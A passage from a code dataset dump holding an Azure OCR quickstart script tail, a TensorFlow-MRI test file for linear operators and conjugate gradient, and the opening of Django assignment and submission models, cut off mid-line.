os.path.dirname(__file__)\n\n# Create an Image object from each image in a directory\nfor filename in glob.glob('Images\\*.jpg'):  # assuming all images are jpg\n    imageObject = Image.open(filename)\n    images_list.append(imageObject)\n    path = os.path.join(working_directory, filename.replace('Images\\\\', 'CroppedImages\\\\'))\n    cropped_images_path.append(path)\n\n# Optional, draw bounding box around desired line of text, show image\n# original_image = Image.open('Images\\coffee1.jpg').convert(\"RGBA\")\n# draw = ImageDraw.Draw(original_image)\n# draw.rectangle(((110, 540), (425, 630)), outline=\"red\")\n# original_image.show()\n \n# Crop each image in your list at the same place\ncropped_images_list = []\nfor image in images_list:\n    # Don't exceed your image height and width\n    # w, h = image.size\n    # print('Image width & height:', w, h)\n\n    cropped = image.crop((110,540,425,630)) # edges: left, top, right, bottom\n    cropped_images_list.append(cropped)\n\n    # Optional, to display cropped image\n    # cropped.show()\n\n# Save the cropped images\nfor i in range(len(cropped_images_list)):\n    # Convert cropped images back to PIL.JpegImagePlugin.JpegImageFile type\n    b = BytesIO()\n    cropped_images_list[i].save(b, format=\"jpeg\")\n\nb.close()\n\n'''\nCall the API\n'''\n# Use the Batch Read File API to extract text from the cropped image\nfor cropped_path in cropped_images_path:\n    cropped_bytes = open(cropped_path, \"rb\")\n    # Call API\n    results = client.batch_read_file_in_stream(cropped_bytes, raw=True)\n    # To get the read results, we need the operation ID from operation location\n    operation_location = results.headers[\"Operation-Location\"]\n    # Operation ID is at the end of the URL\n    operation_id = operation_location.split(\"/\")[-1]\n\n    # Wait for the \"get_read_operation_result()\" to retrieve the results\n    while True:\n        get_printed_text_results = client.get_read_operation_result(operation_id)\n        if get_printed_text_results.status not in ['NotStarted', 'Running']:\n            break\n        time.sleep(1)\n\n'''\nPrint results\n'''\n# Print the extracted text, line by line\nif get_printed_text_results.status == TextOperationStatusCodes.succeeded:\n    for text_result in get_printed_text_results.recognition_results:\n        for line in text_result.lines:\n            print(\"Extracted text:\")\n            print(line.text)\n            print()\n            print('Bounding box for each line:')\n            print(line.bounding_box)\n            # Optional, print each word of each line\n            # print(line.words)\nprint()\n","repo_name":"ketcx/cognitive-services-quickstart-code","sub_path":"python/ComputerVision/ExtractText.py","file_name":"ExtractText.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"5943972599","text":"from absl.testing import parameterized\nimport numpy as np\nimport tensorflow as tf\n\nfrom tensorflow_mri.python.ops import fft_ops\nfrom tensorflow_mri.python.ops import geom_ops\nfrom tensorflow_mri.python.ops import image_ops\nfrom tensorflow_mri.python.ops import linalg_ops\nfrom tensorflow_mri.python.ops import traj_ops\nfrom tensorflow_mri.python.ops import wavelet_ops\nfrom tensorflow_mri.python.util import test_util\n\n\nclass LinearOperatorNUFFTTest(test_util.TestCase):\n  @parameterized.named_parameters(\n      (\"normalized\", \"ortho\"),\n      (\"unnormalized\", None)\n  )\n  def test_general(self, norm):\n    shape = [8, 12]\n    n_points = 100\n    rank = 2\n    rng = np.random.default_rng()\n    traj = rng.uniform(low=-np.pi, high=np.pi, size=(n_points, rank))\n    traj = traj.astype(np.float32)\n    linop = linalg_ops.LinearOperatorNUFFT(shape, traj, norm=norm)\n\n    self.assertIsInstance(linop.domain_shape, tf.TensorShape)\n    self.assertIsInstance(linop.domain_shape_tensor(), tf.Tensor)\n    self.assertIsInstance(linop.range_shape, tf.TensorShape)\n    self.assertIsInstance(linop.range_shape_tensor(), tf.Tensor)\n    self.assertIsInstance(linop.batch_shape, tf.TensorShape)\n    self.assertIsInstance(linop.batch_shape_tensor(), tf.Tensor)\n    self.assertAllClose(shape, linop.domain_shape)\n    self.assertAllClose(shape, linop.domain_shape_tensor())\n    self.assertAllClose([n_points], linop.range_shape)\n    self.assertAllClose([n_points], linop.range_shape_tensor())\n    self.assertAllClose([], linop.batch_shape)\n    self.assertAllClose([], linop.batch_shape_tensor())\n\n    # Check forward.\n    x = (rng.uniform(size=shape).astype(np.float32) +\n         rng.uniform(size=shape).astype(np.float32) * 1j)\n    expected_forward = fft_ops.nufft(x, traj)\n    if norm:\n      expected_forward /= np.sqrt(np.prod(shape))\n    result_forward = linop.transform(x)\n    self.assertAllClose(expected_forward, result_forward, rtol=1e-5, atol=1e-5)\n\n    # Check adjoint.\n    expected_adjoint = fft_ops.nufft(result_forward, traj, grid_shape=shape,\n                                     transform_type=\"type_1\",\n                                     fft_direction=\"backward\")\n    if norm:\n      expected_adjoint /= np.sqrt(np.prod(shape))\n    result_adjoint = linop.transform(result_forward, adjoint=True)\n    self.assertAllClose(expected_adjoint, result_adjoint, rtol=1e-5, atol=1e-5)\n\n\n  @parameterized.named_parameters(\n      (\"normalized\", \"ortho\"),\n      (\"unnormalized\", None)\n  )\n  def test_with_batch_dim(self, norm):\n    shape = [8, 12]\n    n_points = 100\n    batch_size = 4\n    traj_shape = [batch_size, n_points]\n    rank = 2\n    rng = np.random.default_rng()\n    traj = rng.uniform(low=-np.pi, high=np.pi, size=(*traj_shape, rank))\n    traj = traj.astype(np.float32)\n    linop = linalg_ops.LinearOperatorNUFFT(shape, traj, norm=norm)\n\n    self.assertIsInstance(linop.domain_shape, tf.TensorShape)\n    self.assertIsInstance(linop.domain_shape_tensor(), tf.Tensor)\n    self.assertIsInstance(linop.range_shape, tf.TensorShape)\n    self.assertIsInstance(linop.range_shape_tensor(), tf.Tensor)\n    self.assertIsInstance(linop.batch_shape, tf.TensorShape)\n    self.assertIsInstance(linop.batch_shape_tensor(), tf.Tensor)\n    self.assertAllClose(shape, linop.domain_shape)\n    self.assertAllClose(shape, linop.domain_shape_tensor())\n    self.assertAllClose([n_points], linop.range_shape)\n    self.assertAllClose([n_points], linop.range_shape_tensor())\n    self.assertAllClose([batch_size], linop.batch_shape)\n    self.assertAllClose([batch_size], linop.batch_shape_tensor())\n\n    # Check forward.\n    x = (rng.uniform(size=shape).astype(np.float32) +\n         rng.uniform(size=shape).astype(np.float32) * 1j)\n    expected_forward = fft_ops.nufft(x, traj)\n    if norm:\n      expected_forward /= np.sqrt(np.prod(shape))\n    result_forward = linop.transform(x)\n    self.assertAllClose(expected_forward, result_forward, rtol=1e-5, atol=1e-5)\n\n    # Check adjoint.\n    expected_adjoint = fft_ops.nufft(result_forward, traj, grid_shape=shape,\n                                     transform_type=\"type_1\",\n                                     fft_direction=\"backward\")\n    if norm:\n      expected_adjoint /= np.sqrt(np.prod(shape))\n    result_adjoint = linop.transform(result_forward, adjoint=True)\n    self.assertAllClose(expected_adjoint, result_adjoint, rtol=1e-5, atol=1e-5)\n\n\n  @parameterized.named_parameters(\n      (\"normalized\", \"ortho\"),\n      (\"unnormalized\", None)\n  )\n  def test_with_extra_dim(self, norm):\n    shape = [8, 12]\n    n_points = 100\n    batch_size = 4\n    traj_shape = [batch_size, n_points]\n    rank = 2\n    rng = np.random.default_rng()\n    traj = rng.uniform(low=-np.pi, high=np.pi, size=(*traj_shape, rank))\n    traj = traj.astype(np.float32)\n    linop = linalg_ops.LinearOperatorNUFFT(\n        [batch_size, *shape], traj, norm=norm)\n\n    self.assertIsInstance(linop.domain_shape, tf.TensorShape)\n    self.assertIsInstance(linop.domain_shape_tensor(), tf.Tensor)\n    self.assertIsInstance(linop.range_shape, tf.TensorShape)\n    self.assertIsInstance(linop.range_shape_tensor(), tf.Tensor)\n    self.assertIsInstance(linop.batch_shape, tf.TensorShape)\n    self.assertIsInstance(linop.batch_shape_tensor(), tf.Tensor)\n    self.assertAllClose([batch_size, *shape], linop.domain_shape)\n    self.assertAllClose([batch_size, *shape], linop.domain_shape_tensor())\n    self.assertAllClose([batch_size, n_points], linop.range_shape)\n    self.assertAllClose([batch_size, n_points], linop.range_shape_tensor())\n    self.assertAllClose([], linop.batch_shape)\n    self.assertAllClose([], linop.batch_shape_tensor())\n\n    # Check forward.\n    x = (rng.uniform(size=[batch_size, *shape]).astype(np.float32) +\n         rng.uniform(size=[batch_size, *shape]).astype(np.float32) * 1j)\n    expected_forward = fft_ops.nufft(x, traj)\n    if norm:\n      expected_forward /= np.sqrt(np.prod(shape))\n    result_forward = linop.transform(x)\n    self.assertAllClose(expected_forward, result_forward, rtol=1e-5, atol=1e-5)\n\n    # Check adjoint.\n    expected_adjoint = fft_ops.nufft(result_forward, traj, grid_shape=shape,\n                                     transform_type=\"type_1\",\n                                     fft_direction=\"backward\")\n    if norm:\n      expected_adjoint /= np.sqrt(np.prod(shape))\n    result_adjoint = linop.transform(result_forward, adjoint=True)\n    self.assertAllClose(expected_adjoint, result_adjoint, rtol=1e-5, atol=1e-5)\n\n\n  def test_with_density(self):\n    image_shape = (128, 128)\n    image = image_ops.phantom(shape=image_shape, dtype=tf.complex64)\n    trajectory = traj_ops.radial_trajectory(\n        128, 128, flatten_encoding_dims=True)\n    density = traj_ops.radial_density(\n        128, 128, flatten_encoding_dims=True)\n    weights = tf.cast(tf.math.sqrt(tf.math.reciprocal_no_nan(density)),\n                      tf.complex64)\n\n    linop = linalg_ops.LinearOperatorNUFFT(\n        image_shape, trajectory=trajectory)\n    linop_d = linalg_ops.LinearOperatorNUFFT(\n        image_shape, trajectory=trajectory, density=density)\n\n    # Test forward.\n    kspace = linop.transform(image)\n    kspace_d = linop_d.transform(image)\n    self.assertAllClose(kspace * weights, kspace_d)\n\n    # Test adjoint and precompensate function.\n    recon = linop.transform(linop.precompensate(kspace) * weights * weights,\n                            adjoint=True)\n    recon_d1 = linop_d.transform(kspace_d, adjoint=True)\n    recon_d2 = linop_d.transform(linop_d.precompensate(kspace), adjoint=True)\n    self.assertAllClose(recon, recon_d1)\n    self.assertAllClose(recon, recon_d2)\n\n\nclass LinearOperatorGramNUFFTTest(test_util.TestCase):\n  @parameterized.product(\n      density=[False, True],\n      norm=[None, 'ortho'],\n      toeplitz=[False, True],\n      batch=[False, True]\n  )\n  def test_general(self, density, norm, toeplitz, batch):\n    with tf.device('/cpu:0'):\n      image_shape = (128, 128)\n      image = image_ops.phantom(shape=image_shape, dtype=tf.complex64)\n      trajectory = traj_ops.radial_trajectory(\n          128, 129, flatten_encoding_dims=True)\n      if density is True:\n        density = traj_ops.radial_density(\n            128, 129, flatten_encoding_dims=True)\n      else:\n        density = None\n\n      # If testing batches, create new inputs to generate a batch.\n      if batch:\n        image = tf.stack([image, image * 0.5])\n        trajectory = tf.stack([\n            trajectory, geom_ops.rotate_2d(trajectory, [np.pi / 2])])\n        if density is not None:\n          density = tf.stack([density, density])\n\n      linop = linalg_ops.LinearOperatorNUFFT(\n          image_shape, trajectory=trajectory, density=density, norm=norm)\n      linop_gram = linalg_ops.LinearOperatorGramNUFFT(\n          image_shape, trajectory=trajectory, density=density, norm=norm,\n          toeplitz=toeplitz)\n\n      recon = linop.transform(linop.transform(image), adjoint=True)\n      recon_gram = linop_gram.transform(image)\n\n      if norm is None:\n        # Reduce the magnitude of these values to avoid the need to use a large\n        # tolerance.\n        recon /= tf.cast(tf.math.reduce_prod(image_shape), tf.complex64)\n        recon_gram /= tf.cast(tf.math.reduce_prod(image_shape), tf.complex64)\n\n      self.assertAllClose(recon, recon_gram, rtol=1e-4, atol=1e-4)\n\n\nclass LinearOperatorFiniteDifferenceTest(test_util.TestCase):\n  \"\"\"Tests for difference linear operator.\"\"\"\n  @classmethod\n  def setUpClass(cls):\n    super().setUpClass()\n    cls.linop1 = linalg_ops.LinearOperatorFiniteDifference([4])\n    cls.linop2 = linalg_ops.LinearOperatorFiniteDifference([4, 4], axis=-2)\n    cls.matrix1 = tf.convert_to_tensor([[-1, 1, 0, 0],\n                                        [0, -1, 1, 0],\n                                        [0, 0, -1, 1]], dtype=tf.float32)\n\n  def test_transform(self):\n    \"\"\"Test transform method.\"\"\"\n    signal = tf.random.normal([4, 4])\n    result = self.linop2.transform(signal)\n    self.assertAllClose(result, np.diff(signal, axis=-2))\n\n  def test_matvec(self):\n    \"\"\"Test matvec method.\"\"\"\n    signal = tf.constant([1, 2, 4, 8], dtype=tf.float32)\n    result = tf.linalg.matvec(self.linop1, signal)\n    self.assertAllClose(result, [1, 2, 4])\n    self.assertAllClose(result, np.diff(signal))\n    self.assertAllClose(result, tf.linalg.matvec(self.matrix1, signal))\n\n    signal2 = tf.range(16, dtype=tf.float32)\n    result = tf.linalg.matvec(self.linop2, signal2)\n    self.assertAllClose(result, [4] * 12)\n\n  def test_matvec_adjoint(self):\n    \"\"\"Test matvec with adjoint.\"\"\"\n    signal = tf.constant([1, 2, 4], dtype=tf.float32)\n    result = tf.linalg.matvec(self.linop1, signal, adjoint_a=True)\n    self.assertAllClose(result,\n                        tf.linalg.matvec(tf.transpose(self.matrix1), signal))\n\n  def test_shapes(self):\n    \"\"\"Test shapes.\"\"\"\n    self._test_all_shapes(self.linop1, [4], [3])\n    self._test_all_shapes(self.linop2, [4, 4], [3, 4])\n\n  def _test_all_shapes(self, linop, domain_shape, range_shape):\n    \"\"\"Test shapes.\"\"\"\n    self.assertIsInstance(linop.domain_shape, tf.TensorShape)\n    self.assertAllEqual(linop.domain_shape, domain_shape)\n    self.assertAllEqual(linop.domain_shape_tensor(), domain_shape)\n\n    self.assertIsInstance(linop.range_shape, tf.TensorShape)\n    self.assertAllEqual(linop.range_shape, range_shape)\n    self.assertAllEqual(linop.range_shape_tensor(), range_shape)\n\n\nclass LinearOperatorWaveletTest(test_util.TestCase):\n  @parameterized.named_parameters(\n      # name, wavelet, level, axes, domain_shape, range_shape\n      (\"test0\", \"haar\", None, None, [6, 6], [7, 7]),\n      (\"test1\", \"haar\", 1, None, [6, 6], [6, 6]),\n      (\"test2\", \"haar\", None, -1, [6, 6], [6, 7]),\n      (\"test3\", \"haar\", None, [-1], [6, 6], [6, 7])\n  )\n  def test_general(self, wavelet, level, axes, domain_shape, range_shape):\n    # Instantiate.\n    linop = linalg_ops.LinearOperatorWavelet(\n        domain_shape, wavelet=wavelet, level=level, axes=axes)\n\n    # Example data.\n    data = np.arange(np.prod(domain_shape)).reshape(domain_shape)\n    data = data.astype(\"float32\")\n\n    # Forward and adjoint.\n    expected_forward, coeff_slices = wavelet_ops.coeffs_to_tensor(\n        wavelet_ops.wavedec(data, wavelet=wavelet, level=level, axes=axes),\n        axes=axes)\n    expected_adjoint = wavelet_ops.waverec(\n        wavelet_ops.tensor_to_coeffs(expected_forward, coeff_slices),\n        wavelet=wavelet, axes=axes)\n\n    # Test shapes.\n    self.assertAllClose(domain_shape, linop.domain_shape)\n    self.assertAllClose(domain_shape, linop.domain_shape_tensor())\n    self.assertAllClose(range_shape, linop.range_shape)\n    self.assertAllClose(range_shape, linop.range_shape_tensor())\n\n    # Test transform.\n    result_forward = linop.transform(data)\n    result_adjoint = linop.transform(result_forward, adjoint=True)\n    self.assertAllClose(expected_forward, result_forward)\n    self.assertAllClose(expected_adjoint, result_adjoint)\n\n  def test_with_batch_inputs(self):\n    \"\"\"Test batch shape.\"\"\"\n    axes = [-2, -1]\n    data = np.arange(4 * 8 * 8).reshape(4, 8, 8).astype(\"float32\")\n    linop = linalg_ops.LinearOperatorWavelet((8, 8), wavelet=\"haar\", level=1)\n\n    # Forward and adjoint.\n    expected_forward, coeff_slices = wavelet_ops.coeffs_to_tensor(\n        wavelet_ops.wavedec(data, wavelet='haar', level=1, axes=axes),\n        axes=axes)\n    expected_adjoint = wavelet_ops.waverec(\n        wavelet_ops.tensor_to_coeffs(expected_forward, coeff_slices),\n        wavelet='haar', axes=axes)\n\n    result_forward = linop.transform(data)\n    self.assertAllClose(expected_forward, result_forward)\n\n    result_adjoint = linop.transform(result_forward, adjoint=True)\n    self.assertAllClose(expected_adjoint, result_adjoint)\n\n\nclass LinearOperatorMRITest(test_util.TestCase):\n  \"\"\"Tests for MRI linear operator.\"\"\"\n  @classmethod\n  def setUpClass(cls):\n    super().setUpClass()\n    cls.linop1 = linalg_ops.LinearOperatorMRI([2, 2], fft_norm=None)\n    cls.linop2 = linalg_ops.LinearOperatorMRI(\n        [2, 2], mask=[[False, False], [True, True]], fft_norm=None)\n    cls.linop3 = linalg_ops.LinearOperatorMRI(\n        [2, 2], mask=[[[True, True], [False, False]],\n                      [[False, False], [True, True]],\n                      [[False, True], [True, False]]], fft_norm=None)\n\n  def test_fft(self):\n    \"\"\"Test FFT operator.\"\"\"\n    # Test init.\n    linop = linalg_ops.LinearOperatorMRI([2, 2], fft_norm=None)\n\n    # Test matvec.\n    signal = tf.constant([1, 2, 4, 4], dtype=tf.complex64)\n    expected = [-1, 5, 1, 11]\n    result = tf.linalg.matvec(linop, signal)\n    self.assertAllClose(expected, result)\n\n    # Test domain shape.\n    self.assertIsInstance(linop.domain_shape, tf.TensorShape)\n    self.assertAllEqual([2, 2], linop.domain_shape)\n    self.assertAllEqual([2, 2], linop.domain_shape_tensor())\n\n    # Test range shape.\n    self.assertIsInstance(linop.range_shape, tf.TensorShape)\n    self.assertAllEqual([2, 2], linop.range_shape)\n    self.assertAllEqual([2, 2], linop.range_shape_tensor())\n\n    # Test batch shape.\n    self.assertIsInstance(linop.batch_shape, tf.TensorShape)\n    self.assertAllEqual([], linop.batch_shape)\n    self.assertAllEqual([], linop.batch_shape_tensor())\n\n  def test_fft_with_mask(self):\n    \"\"\"Test FFT operator with mask.\"\"\"\n    # Test init.\n    linop = linalg_ops.LinearOperatorMRI(\n        [2, 2], mask=[[False, False], [True, True]], fft_norm=None)\n\n    # Test matvec.\n    signal = tf.constant([1, 2, 4, 4], dtype=tf.complex64)\n    expected = [0, 0, 1, 11]\n    result = tf.linalg.matvec(linop, signal)\n    self.assertAllClose(expected, result)\n\n    # Test domain shape.\n    self.assertIsInstance(linop.domain_shape, tf.TensorShape)\n    self.assertAllEqual([2, 2], linop.domain_shape)\n    self.assertAllEqual([2, 2], linop.domain_shape_tensor())\n\n    # Test range shape.\n    self.assertIsInstance(linop.range_shape, tf.TensorShape)\n    self.assertAllEqual([2, 2], linop.range_shape)\n    self.assertAllEqual([2, 2], linop.range_shape_tensor())\n\n    # Test batch shape.\n    self.assertIsInstance(linop.batch_shape, tf.TensorShape)\n    self.assertAllEqual([], linop.batch_shape)\n    self.assertAllEqual([], linop.batch_shape_tensor())\n\n  def test_fft_with_batch_mask(self):\n    \"\"\"Test FFT operator with batch mask.\"\"\"\n    # Test init.\n    linop = linalg_ops.LinearOperatorMRI(\n        [2, 2], mask=[[[True, True], [False, False]],\n                      [[False, False], [True, True]],\n                      [[False, True], [True, False]]], fft_norm=None)\n\n    # Test matvec.\n    signal = tf.constant([1, 2, 4, 4], dtype=tf.complex64)\n    expected = [[-1, 5, 0, 0], [0, 0, 1, 11], [0, 5, 1, 0]]\n    result = tf.linalg.matvec(linop, signal)\n    self.assertAllClose(expected, result)\n\n    # Test domain shape.\n    self.assertIsInstance(linop.domain_shape, tf.TensorShape)\n    self.assertAllEqual([2, 2], linop.domain_shape)\n    self.assertAllEqual([2, 2], linop.domain_shape_tensor())\n\n    # Test range shape.\n    self.assertIsInstance(linop.range_shape, tf.TensorShape)\n    self.assertAllEqual([2, 2], linop.range_shape)\n    self.assertAllEqual([2, 2], linop.range_shape_tensor())\n\n    # Test batch shape.\n    self.assertIsInstance(linop.batch_shape, tf.TensorShape)\n    self.assertAllEqual([3], linop.batch_shape)\n    self.assertAllEqual([3], linop.batch_shape_tensor())\n\n  def test_fft_norm(self):\n    \"\"\"Test FFT normalization.\"\"\"\n    linop = linalg_ops.LinearOperatorMRI([2, 2], fft_norm='ortho')\n    x = tf.constant([1 + 2j, 2 - 2j, -1 - 6j, 3 + 4j], dtype=tf.complex64)\n    # With norm='ortho', subsequent application of the operator and its adjoint\n    # should not scale the input.\n    y = tf.linalg.matvec(linop.H, tf.linalg.matvec(linop, x))\n    self.assertAllClose(x, y)\n\n  def test_nufft_with_sensitivities(self):\n    resolution = 128\n    image_shape = [resolution, resolution]\n    num_coils = 4\n    image, sensitivities = image_ops.phantom(\n        shape=image_shape, num_coils=num_coils, dtype=tf.complex64,\n        return_sensitivities=True)\n    image = image_ops.phantom(shape=image_shape, dtype=tf.complex64)\n    trajectory = traj_ops.radial_trajectory(resolution, resolution // 2 + 1,\n                                            flatten_encoding_dims=True)\n    density = traj_ops.radial_density(resolution, resolution // 2 + 1,\n                                      flatten_encoding_dims=True)\n\n    linop = linalg_ops.LinearOperatorMRI(\n        image_shape, trajectory=trajectory, density=density,\n        sensitivities=sensitivities)\n\n    # Test shapes.\n    expected_domain_shape = image_shape\n    self.assertAllClose(expected_domain_shape, linop.domain_shape)\n    self.assertAllClose(expected_domain_shape, linop.domain_shape_tensor())\n    expected_range_shape = [num_coils, (2 * resolution) * (resolution // 2 + 1)]\n    self.assertAllClose(expected_range_shape, linop.range_shape)\n    self.assertAllClose(expected_range_shape, linop.range_shape_tensor())\n\n    # Test forward.\n    weights = tf.cast(tf.math.sqrt(tf.math.reciprocal_no_nan(density)),\n                      tf.complex64)\n    norm = tf.math.sqrt(tf.cast(tf.math.reduce_prod(image_shape), tf.complex64))\n    expected = fft_ops.nufft(image * sensitivities, trajectory) * weights / norm\n    kspace = linop.transform(image)\n    self.assertAllClose(expected, kspace)\n\n    # Test adjoint.\n    expected = tf.math.reduce_sum(\n        fft_ops.nufft(\n            kspace * weights, trajectory, grid_shape=image_shape,\n            transform_type='type_1', fft_direction='backward') / norm *\n        tf.math.conj(sensitivities), axis=-3)\n    recon = linop.transform(kspace, adjoint=True)\n    self.assertAllClose(expected, recon)\n\n\nclass LinearOperatorGramMRITest(test_util.TestCase):\n  @parameterized.product(batch=[False, True], extra=[False, True],\n                         toeplitz_nufft=[False, True])\n  def test_general(self, batch, extra, toeplitz_nufft):\n    resolution = 128\n    image_shape = [resolution, resolution]\n    num_coils = 4\n    image, sensitivities = image_ops.phantom(\n        shape=image_shape, num_coils=num_coils, dtype=tf.complex64,\n        return_sensitivities=True)\n    image = image_ops.phantom(shape=image_shape, dtype=tf.complex64)\n    trajectory = traj_ops.radial_trajectory(resolution, resolution // 2 + 1,\n                                            flatten_encoding_dims=True)\n    density = traj_ops.radial_density(resolution, resolution // 2 + 1,\n                                      flatten_encoding_dims=True)\n    if batch:\n      image = tf.stack([image, image * 2])\n      if extra:\n        extra_shape = [2]\n      else:\n        extra_shape = None\n    else:\n      extra_shape = None\n\n    linop = linalg_ops.LinearOperatorMRI(\n        image_shape, extra_shape=extra_shape,\n        trajectory=trajectory, density=density,\n        sensitivities=sensitivities)\n    linop_gram = linalg_ops.LinearOperatorGramMRI(\n        image_shape, extra_shape=extra_shape,\n        trajectory=trajectory, density=density,\n        sensitivities=sensitivities, toeplitz_nufft=toeplitz_nufft)\n\n    # Test shapes.\n    expected_domain_shape = image_shape\n    if extra_shape is not None:\n      expected_domain_shape = extra_shape + image_shape\n    self.assertAllClose(expected_domain_shape, linop_gram.domain_shape)\n    self.assertAllClose(expected_domain_shape, linop_gram.domain_shape_tensor())\n    self.assertAllClose(expected_domain_shape, linop_gram.range_shape)\n    self.assertAllClose(expected_domain_shape, linop_gram.range_shape_tensor())\n\n    # Test transform.\n    expected = linop.transform(linop.transform(image), adjoint=True)\n    self.assertAllClose(expected, linop_gram.transform(image),\n                        rtol=1e-4, atol=1e-4)\n\n\n# Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n@test_util.run_all_in_graph_and_eager_modes\nclass ConjugateGradientTest(test_util.TestCase):\n  \"\"\"Tests for op `conjugate_gradient`.\"\"\"\n  @parameterized.product(dtype=[np.float32, np.float64],\n                         shape=[[1, 1], [4, 4], [10, 10]],\n                         use_static_shape=[True, False])\n  def test_conjugate_gradient(self, dtype, shape, use_static_shape):  # pylint: disable=missing-param-doc\n    \"\"\"Test CG method.\"\"\"\n    np.random.seed(1)\n    a_np = np.random.uniform(\n        low=-1.0, high=1.0, size=np.prod(shape)).reshape(shape).astype(dtype)\n    # Make a self-adjoint, positive definite.\n    a_np = np.dot(a_np.T, a_np)\n    # jacobi preconditioner\n    jacobi_np = np.zeros_like(a_np)\n    jacobi_np[range(a_np.shape[0]), range(a_np.shape[1])] = (\n        1.0 / a_np.diagonal())\n    rhs_np = np.random.uniform(\n        low=-1.0, high=1.0, size=shape[0]).astype(dtype)\n    x_np = np.zeros_like(rhs_np)\n    tol = 1e-6 if dtype == np.float64 else 1e-3\n    max_iterations = 20\n\n    if use_static_shape:\n      a = tf.constant(a_np)\n      rhs = tf.constant(rhs_np)\n      x = tf.constant(x_np)\n      jacobi = tf.constant(jacobi_np)\n    else:\n      a = tf.compat.v1.placeholder_with_default(a_np, shape=None)\n      rhs = tf.compat.v1.placeholder_with_default(rhs_np, shape=None)\n      x = tf.compat.v1.placeholder_with_default(x_np, shape=None)\n      jacobi = tf.compat.v1.placeholder_with_default(jacobi_np, shape=None)\n\n    operator = tf.linalg.LinearOperatorFullMatrix(\n        a, is_positive_definite=True, is_self_adjoint=True)\n    preconditioners = [\n        None,\n        # Preconditioner that does nothing beyond change shape.\n        tf.linalg.LinearOperatorIdentity(\n            a_np.shape[-1],\n            dtype=a_np.dtype,\n            is_positive_definite=True,\n            is_self_adjoint=True),\n        # Jacobi preconditioner.\n        tf.linalg.LinearOperatorFullMatrix(\n            jacobi,\n            is_positive_definite=True,\n            is_self_adjoint=True),\n    ]\n    cg_results = []\n    for preconditioner in preconditioners:\n      cg_graph = linalg_ops.conjugate_gradient(\n          operator,\n          rhs,\n          preconditioner=preconditioner,\n          x=x,\n          tol=tol,\n          max_iterations=max_iterations)\n      cg_val = self.evaluate(cg_graph)\n      norm_r0 = np.linalg.norm(rhs_np)\n      norm_r = np.linalg.norm(cg_val.r)\n      self.assertLessEqual(norm_r, tol * norm_r0)\n      # Validate that we get an equally small residual norm with numpy\n      # using the computed solution.\n      r_np = rhs_np - np.dot(a_np, cg_val.x)\n      norm_r_np = np.linalg.norm(r_np)\n      self.assertLessEqual(norm_r_np, tol * norm_r0)\n      cg_results.append(cg_val)\n\n    # Validate that we get same results using identity_preconditioner\n    # and None\n    self.assertEqual(cg_results[0].i, cg_results[1].i)\n    self.assertAlmostEqual(cg_results[0].gamma, cg_results[1].gamma)\n    self.assertAllClose(cg_results[0].r, cg_results[1].r, rtol=tol)\n    self.assertAllClose(cg_results[0].x, cg_results[1].x, rtol=tol)\n    self.assertAllClose(cg_results[0].p, cg_results[1].p, rtol=tol)\n\n  def test_bypass_gradient(self):\n    \"\"\"Tests the `bypass_gradient` argument.\"\"\"\n    dtype = np.float32\n    shape = [4, 4]\n    np.random.seed(1)\n    a_np = np.random.uniform(\n        low=-1.0, high=1.0, size=np.prod(shape)).reshape(shape).astype(dtype)\n    # Make a self-adjoint, positive definite.\n    a_np = np.dot(a_np.T, a_np)\n\n    rhs_np = np.random.uniform(\n        low=-1.0, high=1.0, size=shape[0]).astype(dtype)\n\n    tol = 1e-3\n    max_iterations = 20\n\n    a = tf.constant(a_np)\n    rhs = tf.constant(rhs_np)\n    operator = tf.linalg.LinearOperatorFullMatrix(\n        a, is_positive_definite=True, is_self_adjoint=True)\n\n    with tf.GradientTape(persistent=True) as tape:\n      tape.watch(rhs)\n      result = linalg_ops.conjugate_gradient(\n          operator,\n          rhs,\n          tol=tol,\n          max_iterations=max_iterations)\n      result_bypass = linalg_ops.conjugate_gradient(\n          operator,\n          rhs,\n          tol=tol,\n          max_iterations=max_iterations,\n          bypass_gradient=True)\n\n    grad = tape.gradient(result.x, rhs)\n    grad_bypass = tape.gradient(result_bypass.x, rhs)\n    self.assertAllClose(result, result_bypass)\n    self.assertAllClose(grad, grad_bypass, rtol=tol)\n\n\nif __name__ == '__main__':\n  tf.test.main()\n","repo_name":"mrphys/tensorflow-mri","sub_path":"tensorflow_mri/python/ops/linalg_ops_test.py","file_name":"linalg_ops_test.py","file_ext":"py","file_size_in_byte":26728,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"3"}
+{"seq_id":"984091411","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django_quill.fields import QuillField\nfrom apps.subject.models import Subject\n\nclass Assignment(models.Model):\n\tsubject_name = models.ForeignKey(Subject,on_delete=models.CASCADE)\n\tuploaded_on = models.DateTimeField(auto_now_add= True)\n\tfile = models.FileField(upload_to=\"assignments\",null=True,blank = True,)\n\ttopic = models.CharField(max_length=100,)\n\tdescription = QuillField(null=True,blank=True)\n\tsubmission_date = models.DateTimeField() \n\tassigned_by = models.ForeignKey(User,on_delete=models.CASCADE)\n\tsubmitted_by = models.ManyToManyField(User,related_name=\"Submissions\")\n\tfull_marks = models.IntegerField(default=100)\n\tsubmission_link = models.BooleanField(default=True)\n\n\tdef __str__(self):\n\t\treturn \"Assignment on \"+ self.topic\n\nclass Submission(models.Model):\n\tassignment = models.ForeignKey(Assignment, on_delete=models.CASCADE)\n\tfile = models.FileField(upload_to=\"submissions\",)\n\tsubmitted_by = models.ForeignKey(User,on_delete=models.CASCADE)\n\tsubmitted_on = models.DateTimeField(auto_now_add=True)\n\tcurrent_status = models.BooleanField(default=False)\n\tmarks_assigned = models.IntegerField(null=True,blank=True)\n\thistory = models.CharField(max_length=5000,null=True,blank=True)\n\tdef __str__(self):\n\t\treturn \"Assignment upload of \"+self.assignment.topic + 